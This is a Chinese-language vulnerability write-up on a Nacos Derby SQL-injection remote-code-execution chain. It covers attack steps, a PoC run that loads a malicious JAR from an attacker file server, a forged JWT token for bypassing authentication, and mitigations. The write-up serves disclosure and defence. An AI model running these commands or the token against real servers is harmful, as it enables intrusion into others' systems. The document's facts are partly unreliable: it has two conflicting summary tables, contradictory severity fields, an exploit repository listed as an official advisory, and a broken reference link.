一、漏洞简介¶
1.1 漏洞背景¶
2024年,Nacos 被披露基于 Derby SQL 注入漏洞(CVE-2021-29442)的 RCE 攻击链。攻击者可利用 Derby SQL 注入加载恶意 JAR 并注册函数,执行任意代码。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | QVD-2024-26473 |
| 危害等级 | 暂未找到权威信息 |
| 漏洞类型 | Derby 未授权 RCE |
| 披露时间 | 暂未找到权威信息 |
| 影响组件 | Nacos |
| 项目 | 内容 |
|---|---|
| CVE 编号 | QVD-2024-26473 |
| 危害等级 | 严重(Critical) |
| CVSS 评分 | 9.8 |
| 漏洞类型 | SQL 注入 + RCE |
| 影响 | 远程代码执行 |
| 公开日期 | 2024年8月 |
核验说明:原文使用编号 QVD-2024-26473,但其不符合标准 CVE 格式或暂未在 NVD/CVE 公共记录中确认,文中保留原主题并标注待核验。
二、影响范围¶
2.1 受影响的版本¶
- 所有存在 Derby SQL 注入的版本(特别是开启了鉴权的版本)
2.2 不受影响的版本¶
- 暂未找到权威信息,建议以厂商安全公告、修复提交记录或发布说明为准。
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 能访问 /nacos/v1/cs/ops/derby 或 /nacos/v1/cs/ops/data/removal 端点
- 能绕过身份认证(使用 JWT 伪造或未授权访问)
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
- 通过 SQL 注入创建恶意函数
- 使用 SQL 调用恶意函数执行代码
- 利用 Derby 的 CALL SQLJ.INSTALL_JAR 功能加载恶意 JAR
3.2 攻击流程¶
- 启动恶意文件服务器提供 JAR 文件
- 通过 SQL 注入上传恶意 JAR
- 注册恶意函数
- 调用函数执行命令
3.2 源码层面的根因分析(结合源码与补丁对比)¶
暂未检索到可公开验证的源码补丁信息,无法对根因实现细节作权威复原。
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 下载 POC
git clone https://github.com/FFR66/Nacos_Rce.git
cd Nacos_Rce
4.2 PoC 演示与测试过程¶
配置文件服务器:
# config.py
server_host = '0.0.0.0'
server_port = 5000
启动文件服务器:
python ./service.py
执行 RCE 攻击:
python ./Nacos_Rce.py -t <文件服务器IP> -p 5000 -u http://<目标IP>:8848 -c "whoami"
使用 JWT 绕过认证:
# 在 Nacos_Rce.py 中设置请求头
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTg5MTA3MTgxMH0.eGXadXUaD2rzhbO17oGXx23O00GbU3alxX7Vjaswtvo
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
升级到最新版本并关闭 Derby 运维接口
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
禁用 Derby 运维接口:
# application.properties
nacos.config.derby.ops.enabled=false
限制接口访问:
location ~ /nacos/v1/cs/ops/(derby|data/removal) {
deny all;
}
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- https://github.com/FFR66/Nacos_Rce.git
- https://github.com/FFR66/Nacos_Rce
6.2 其他技术参考资料¶
- https://github.com/FFR66/Nacos_Rce.git
- http://<目标IP
- https://github.com/FFR66/Nacos_Rce
- https://cn-sec.com/archives/3048915.html